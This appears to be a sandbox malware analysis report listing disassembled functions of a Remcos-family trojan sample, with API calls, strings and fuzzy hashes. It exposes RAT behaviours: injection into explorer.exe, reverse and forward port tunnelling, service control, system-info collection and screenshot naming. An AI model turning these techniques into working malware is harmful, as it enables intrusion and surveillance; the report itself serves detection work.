Instruction ID: 7190b088211759b4ddf30ea01330f06ea876f5aeb3fff680d7de6344f071f385
Opcode Fuzzy Hash: 3a46b27176a91aa420ad73abdb7cac50fdb6453594accd6c6c928c0395e09ddd
Instruction Fuzzy Hash: 67316E75A41305BBEF20DF68DC81F5EB7A8AF05364F054559EA14EF381D370E9408BA0

Uniqueness

Uniqueness Score: -1.00%

Function 1605A83A Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,16021D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 1605A892
GetLastError.KERNEL32(?,?,16021D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 1605A89F
__dosmaperr.LIBCMT ref: 1605A8A6
MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,16021D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 1605A8D2
GetLastError.KERNEL32(?,?,?,16021D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 1605A8DC
__dosmaperr.LIBCMT ref: 1605A8E3
WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,16021D55,?), ref: 1605A926
GetLastError.KERNEL32(?,?,?,?,?,?,16021D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 1605A930
__dosmaperr.LIBCMT ref: 1605A937
_free.LIBCMT ref: 1605A943
_free.LIBCMT ref: 1605A94A

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
String ID:
API String ID: 2441525078-0
Opcode ID: c5bfd8c8fd3064f7769b6001e358679d62389c66c0ba3693f16e770aad79c1db
Instruction ID: 460c1636ae872ead63c41d6f1328fa69f8e0c80fa3a672ea132a2b8383482b7b
Opcode Fuzzy Hash: c5bfd8c8fd3064f7769b6001e358679d62389c66c0ba3693f16e770aad79c1db
Instruction Fuzzy Hash: 6431BF7680425AAFDF01DFA5CC44DAF3FBAEF04264F120219FD2066290DB31D996CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 160254A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 160254BF
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 1602556F
TranslateMessage.USER32(?), ref: 1602557E
DispatchMessageA.USER32(?), ref: 16025589
HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,16094F78), ref: 16025641
HeapFree.KERNEL32(00000000,00000000,0000003B,0000003B,?,00000000), ref: 16025679

Part of subcall function 16024AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 16024B36

Strings

GetMessage, xrefs: 160255F8
CloseChat, xrefs: 16025609
DisplayMessage, xrefs: 160255EC

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
String ID: CloseChat$DisplayMessage$GetMessage
API String ID: 2956720200-749203953
Opcode ID: 4c8e985025c2565e3a428a444b7f631b4cd370ccc0889c8e6f423b05cf715114
Instruction ID: 987c02921cfe4c54640ba8e313d70141b0948b17755fc69fae848fa561557f36
Opcode Fuzzy Hash: 4c8e985025c2565e3a428a444b7f631b4cd370ccc0889c8e6f423b05cf715114
Instruction Fuzzy Hash: C141F43AA042119BCB18EB74CC9486F3FBBAF95601F81496CF65693580EF35E90DC792

Uniqueness

Uniqueness Score: -1.00%

Function 1603AB0D Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,1603A486,00000000), ref: 1603AB1C
OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,1603A486,00000000), ref: 1603AB33
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,1603A486,00000000), ref: 1603AB40
ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,1603A486,00000000), ref: 1603AB4F
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,1603A486,00000000), ref: 1603AB60
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,1603A486,00000000), ref: 1603AB63

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: 43a24cc4908b5203633578a2f8cbdaed86b08dcc0352082e58067a578a65b8f6
Instruction ID: 97eb54a4a264ff3515db47ab8b219b7835da47c08b7684bace5c04c79f6d036b
Opcode Fuzzy Hash: 43a24cc4908b5203633578a2f8cbdaed86b08dcc0352082e58067a578a65b8f6
Instruction Fuzzy Hash: C811CE75DA012C6FD315AB64CCC8CFF3F6EDB56262B000219FF45A2045DB24498A9AE1

Uniqueness

Uniqueness Score: -1.00%

Function 16068121 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 16068135

Part of subcall function 16066782: HeapFree.KERNEL32(00000000,00000000,?,16070C6F,?,00000000,?,00000000,?,16070F13,?,00000007,?,?,1607145E,?), ref: 16066798
Part of subcall function 16066782: GetLastError.KERNEL32(?,?,16070C6F,?,00000000,?,00000000,?,16070F13,?,00000007,?,?,1607145E,?,?), ref: 160667AA

_free.LIBCMT ref: 16068141
_free.LIBCMT ref: 1606814C
_free.LIBCMT ref: 16068157
_free.LIBCMT ref: 16068162
_free.LIBCMT ref: 1606816D
_free.LIBCMT ref: 16068178
_free.LIBCMT ref: 16068183
_free.LIBCMT ref: 1606818E
_free.LIBCMT ref: 1606819C

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 36b8f68850eb6bea0256b4e79f8b9ad0eaf54ead4895a2c6ce3edd432b8e76f5
Instruction ID: 8d1382b8890fd460a9a9a3102dc48f3025b233590d07bc4c20cae69dc95d7ae7
Opcode Fuzzy Hash: 36b8f68850eb6bea0256b4e79f8b9ad0eaf54ead4895a2c6ce3edd432b8e76f5
Instruction Fuzzy Hash: AA11907A520118AFCB01DF96CC44CD93FAABF04355F5140A9BA588F221DA32EF58DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 03F6252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

, xrefs: 03F62814
An unexpected memory leak has occurred. , xrefs: 03F62690
The sizes of unexpected leaked medium and large blocks are: , xrefs: 03F62849
The unexpected small block leaks are:, xrefs: 03F62707
7, xrefs: 03F626A1
Unexpected Memory Leak, xrefs: 03F628C0
bytes: , xrefs: 03F6275D

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 41c011d81fe111c793fe5ec8217190e345e2abc3a0b4ffbe3e1e7171cdc6d468
Instruction ID: fb438ba7f653268e9c422a00d0cc99938c452c024c177cfb337fd9b9856ca356
Opcode Fuzzy Hash: 41c011d81fe111c793fe5ec8217190e345e2abc3a0b4ffbe3e1e7171cdc6d468
Instruction Fuzzy Hash: 8D71B234E04398AFDB21DA2CCC84BD8BAF9EB09700F1449E5D549DB282DF758AC5CB51

Uniqueness

Uniqueness Score: -1.00%

Function 16039FB4 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 176sleeptimeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 16039FB9
GdiplusStartup.GDIPLUS(16094ACC,?,00000000), ref: 16039FEB
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 1603A077
Sleep.KERNEL32(000003E8), ref: 1603A0FD
GetLocalTime.KERNEL32(?), ref: 1603A105
Sleep.KERNEL32(00000000,00000018,00000000), ref: 1603A1F4

Strings

wnd_%04i%02i%02i_%02i%02i%02i, xrefs: 1603A09A, 1603A0BB, 1603A129
time_%04i%02i%02i_%02i%02i%02i, xrefs: 1603A09F

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i
API String ID: 489098229-3790400642
Opcode ID: 98560c63232bccc404a87ad583d7c7f474066558b37137bdd98b3933b4032185
Instruction ID: 85e651bf54d32dda33d71607073ce91f25824b26d2a928a7602a3d36a822539c
Opcode Fuzzy Hash: 98560c63232bccc404a87ad583d7c7f474066558b37137bdd98b3933b4032185
Instruction Fuzzy Hash: C1518378E401559EDB58EBB4CC949EE7FBB6F54202F80009DE649A7180EF34AD8DC750

Uniqueness

Uniqueness Score: -1.00%

Function 16075F04 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,16076FFF), ref: 16075F27

Strings

asin, xrefs: 16076093
log10, xrefs: 16075F71, 16075FC1
pow, xrefs: 1607600B, 160760B7, 160760CA
log, xrefs: 16075FCD, 16075FD9
exp, xrefs: 16075FEC, 1607604E
sqrt, xrefs: 160760AB
acos, xrefs: 1607609F

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 42ef02e700f20242e62f3a0e6453787e611803efe416252731695ce377636b0d
Instruction ID: 710860ff6d477f6d34fdacb0e2577c72fb28438d13a9db975c0fa135fb3c7174
Opcode Fuzzy Hash: 42ef02e700f20242e62f3a0e6453787e611803efe416252731695ce377636b0d
Instruction Fuzzy Hash: FB5148B4D106AACBDF00CF64DD885DDBFB4FB49300F904185E8C2A7254CB329968CB68

Uniqueness

Uniqueness Score: -1.00%

Function 16037495 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 160374F5

Part of subcall function 1603C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,1602412F,16085E74), ref: 1603C49E

Sleep.KERNEL32(00000064), ref: 16037521
DeleteFileW.KERNEL32(00000000), ref: 16037555

Strings

temp, xrefs: 160374A5
dxdiag, xrefs: 160374EA
open, xrefs: 160374EF
/t , xrefs: 160374D4
\sysinfo.txt, xrefs: 160374A0

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$CreateDeleteExecuteShellSleep
String ID: /t $\sysinfo.txt$dxdiag$open$temp
API String ID: 1462127192-2001430897
Opcode ID: b555fde0b8ac8bb9664fd6d46d14fe8b0ca8c277afa85908c6f2696bd2242645
Instruction ID: 2a20bca05964ae69762b7a73901d0e3caea959b54c0e5bd06e57dee61d567d10
Opcode Fuzzy Hash: b555fde0b8ac8bb9664fd6d46d14fe8b0ca8c277afa85908c6f2696bd2242645
Instruction Fuzzy Hash: 253196798501195EDF48EBA0DC90DFEBF7AAF14202F80016DE50667094EF207E8ECB94

Uniqueness

Uniqueness Score: -1.00%

Function 160273AC Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(16092B14,00000000,160952D8,00003000,00000004,00000000,00000001), ref: 160273DD
GetCurrentProcess.KERNEL32(16092B14,00000000,00008000,?,00000000,00000001,00000000,16027656,C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe), ref: 1602749E

Strings

[+] NtAllocateVirtualMemory Success, xrefs: 16027410
windir, xrefs: 160273EA
PEB: %x, xrefs: 160274AF
\explorer.exe, xrefs: 16027400
explorer.exe, xrefs: 16027450, 1602747B
[-] NtAllocateVirtualMemory Error, xrefs: 1602743D

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
API String ID: 2050909247-4242073005
Opcode ID: b67b4fed1a44cb9262448ee0b6a0c3288bac06d48e327af7d8e70022514a4a17
Instruction ID: c5e1e333741ad241f683c263f671b4e86418928d53f41b5a046a508c95eb0cf4
Opcode Fuzzy Hash: b67b4fed1a44cb9262448ee0b6a0c3288bac06d48e327af7d8e70022514a4a17
Instruction Fuzzy Hash: 9F31CEB6620610ABD329DF65CC94F6A3FBBBF64302F41485CF61996201DB35E80CCB61

Uniqueness

Uniqueness Score: -1.00%

Function 1603D45D Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1603D476

Part of subcall function 1603D50F: RegisterClassExA.USER32(00000030), ref: 1603D55B
Part of subcall function 1603D50F: CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 1603D576
Part of subcall function 1603D50F: GetLastError.KERNEL32 ref: 1603D580

ExtractIconA.SHELL32(00000000,?,00000000), ref: 1603D4AD
lstrcpynA.KERNEL32(16094B60,Remcos,00000080), ref: 1603D4C7
Shell_NotifyIconA.SHELL32(00000000,16094B48), ref: 1603D4DD
TranslateMessage.USER32(?), ref: 1603D4E9
DispatchMessageA.USER32(?), ref: 1603D4F3
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 1603D500

Strings

Remcos, xrefs: 1603D4B8

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
String ID: Remcos
API String ID: 1970332568-165870891
Opcode ID: 46759525775eb7a984904728ce6ef3488de4d9b4238acde7d762fe4f997360db
Instruction ID: 94f5627b40615313b179299c04d11c3093c3fdae28fee6301f08a84445d0ef02
Opcode Fuzzy Hash: 46759525775eb7a984904728ce6ef3488de4d9b4238acde7d762fe4f997360db
Instruction Fuzzy Hash: 81013972801258ABD718DFA1CC8CF9EBBBEFBA1706F014159F658A2180D7749049CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1606CD80 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12e5b46a7c754853128a11f196002cd2a0052a0996c58f16cf78777def61c8f1
Instruction ID: c74202f2ad776169d3222821fd2da12acef7dcccf81d9eb23e877926a61e5321
Opcode Fuzzy Hash: 12e5b46a7c754853128a11f196002cd2a0052a0996c58f16cf78777def61c8f1
Instruction Fuzzy Hash: 0DC1C375E04249AFEB05CFAACC40BAEBFF6BF09310F044159E915AB2D1C7749989CB61

Uniqueness

Uniqueness Score: -1.00%

Function 16073D83 Relevance: 13.8, APIs: 9, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,1607405C,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 16073E2F
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,1607405C,00000000,00000000,?,00000001,?,?,?,?), ref: 16073EB2
__alloca_probe_16.LIBCMT ref: 16073EEA
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000001,00000000,1607405C,?,1607405C,00000000,00000000,?,00000001,?,?,?,?), ref: 16073F45
__alloca_probe_16.LIBCMT ref: 16073F94
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,1607405C,00000000,00000000,?,00000001,?,?,?,?), ref: 16073F5C

Part of subcall function 16066137: HeapAlloc.KERNEL32(00000000,160552BC,?,?,16058847,?,?,00000000,16096B50,?,1602DE62,160552BC,?,?,?,?), ref: 16066169

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,1607405C,00000000,00000000,?,00000001,?,?,?,?), ref: 16073FD8
__freea.LIBCMT ref: 16074003
__freea.LIBCMT ref: 1607400F

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocHeapInfo
String ID:
API String ID: 3256262068-0
Opcode ID: a31f4d1f946e3af9f7cc4233b5644093d0ebaaf3eb244027a753acfb62ea8e81
Instruction ID: 6af7ebed2587fe0946b1d94cc004796a539a0f7e13e019d60908b6a867ec7598
Opcode Fuzzy Hash: a31f4d1f946e3af9f7cc4233b5644093d0ebaaf3eb244027a753acfb62ea8e81
Instruction Fuzzy Hash: 4F91D771E0121A9AEB18CE65CC82EEEBFF6AF08350F154559E984E7180E735DC48C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 16065179 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 16068215: GetLastError.KERNEL32(?,1605F720,1605A7F5,1605F720,16094EF8,?,1605CE15,FF8BC35D,16094EF8,16094EF8), ref: 16068219
Part of subcall function 16068215: _free.LIBCMT ref: 1606824C
Part of subcall function 16068215: SetLastError.KERNEL32(00000000,FF8BC35D,16094EF8,16094EF8), ref: 1606828D
Part of subcall function 16068215: _abort.LIBCMT ref: 16068293

_memcmp.LIBVCRUNTIME ref: 16065423
_free.LIBCMT ref: 16065494
_free.LIBCMT ref: 160654AD
_free.LIBCMT ref: 160654DF
_free.LIBCMT ref: 160654E8
_free.LIBCMT ref: 160654F4

Strings

C, xrefs: 160652E1

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast$_abort_memcmp
String ID: C
API String ID: 1679612858-1037565863
Opcode ID: 9f6fb12f1abade0ccec9e8b1b004f1ccd693b504e549510d1867326ce5feac22
Instruction ID: 903aacad36ce9e17b803cd154dca65a8cc915e087845f01a2d72b864caebb9f7
Opcode Fuzzy Hash: 9f6fb12f1abade0ccec9e8b1b004f1ccd693b504e549510d1867326ce5feac22
Instruction Fuzzy Hash: 9BB11775E0122A9BDB25CF19CC84A9DBBB5FF08304F5085EAD949A7350E771AE94CF80

Uniqueness

Uniqueness Score: -1.00%

Function 1603490A Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

tcp, xrefs: 16034A73
udp, xrefs: 16034A46

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID: tcp$udp
API String ID: 0-3725065008
Opcode ID: 8db886a26c8bc83185a82ad0392f49e24c8e2dc02697e9407037c27922c2f7d8
Instruction ID: 7bab9f3963d76cfc1faace08378bcfd0b08633ae096bc6db5c117bf177ff37a3
Opcode Fuzzy Hash: 8db886a26c8bc83185a82ad0392f49e24c8e2dc02697e9407037c27922c2f7d8
Instruction Fuzzy Hash: 0C714978E0A3428FD714CF15C580A2ABFE5EF85257F02453EE8959F260E774D948CB92

Uniqueness

Uniqueness Score: -1.00%

Function 03F6BD7C Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,03F6C047,?,?,00000000,00000000), ref: 03F6BDB2

Part of subcall function 03F6A780: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03F6A79E

Strings

AMPM , xrefs: 03F6BFD5
mmmm d, yyyy, xrefs: 03F6BEAE
:mm, xrefs: 03F6BFE5
m/d/yy, xrefs: 03F6BE81
:mm:ss, xrefs: 03F6C002
AMPM, xrefs: 03F6BFC6

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: a27bb814c8d44d2c32129d47c5b56683016394d30fef7ebb6bc47c4fd6a76612
Instruction ID: 48bf0d838b95f7dd902a4167b32aab38da8c97c1b0e665f1aa2ef1305f76ded4
Opcode Fuzzy Hash: a27bb814c8d44d2c32129d47c5b56683016394d30fef7ebb6bc47c4fd6a76612
Instruction Fuzzy Hash: 0A618278B0138DABDB01FBB5DE50A9E77BAEB88200F509475E141EF395CA35DD0A8790

Uniqueness

Uniqueness Score: -1.00%

Function 160314F5 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 191COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 16031514
inet_ntoa.WS2_32(?), ref: 160315AF

Strings

StartReverse, xrefs: 1603167F
GetDirectListeningPort, xrefs: 160316B2
StartForward, xrefs: 16031673
StopForward, xrefs: 16031690
StopReverse, xrefs: 160316A1

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Eventinet_ntoa
String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse
API String ID: 3578746661-168337528
Opcode ID: 3a772364d1b57cab12b69c41b444beca860252c0dd0061fb5dd0384cd972e909
Instruction ID: 7645ac007c1cb37094dbcac14220d866aa5726e1e69998c6a83b0d78daf3a6e8
Opcode Fuzzy Hash: 3a772364d1b57cab12b69c41b444beca860252c0dd0061fb5dd0384cd972e909
Instruction Fuzzy Hash: E351D339A142505FDB08EB74CC94A6E3FB76F99203F80459DE606876E4EF74A90DC782

Uniqueness

Uniqueness Score: -1.00%

Function 16037CDF Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 108filesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 16037F2C: __EH_prolog.LIBCMT ref: 16037F31

WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,160860A4), ref: 16037DDC
CloseHandle.KERNEL32(00000000), ref: 16037DE5
DeleteFileA.KERNEL32(00000000), ref: 16037DF4
ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 16037DA8

Part of subcall function 16024AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 16024B36

Strings

@, xrefs: 16037D8A
<, xrefs: 16037D83
Temp, xrefs: 16037D00

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWaitsend
String ID: <$@$Temp
API String ID: 1704390241-1032778388
Opcode ID: a59fca6ca5b5492c6bb39309bb683dc42fb110bbb8526d72a7ae21cd1faccec2
Instruction ID: 0e02dab13ce841c7135de05b194f7bf0cfb779719869fabf5f13f728bd183c0c
Opcode Fuzzy Hash: a59fca6ca5b5492c6bb39309bb683dc42fb110bbb8526d72a7ae21cd1faccec2
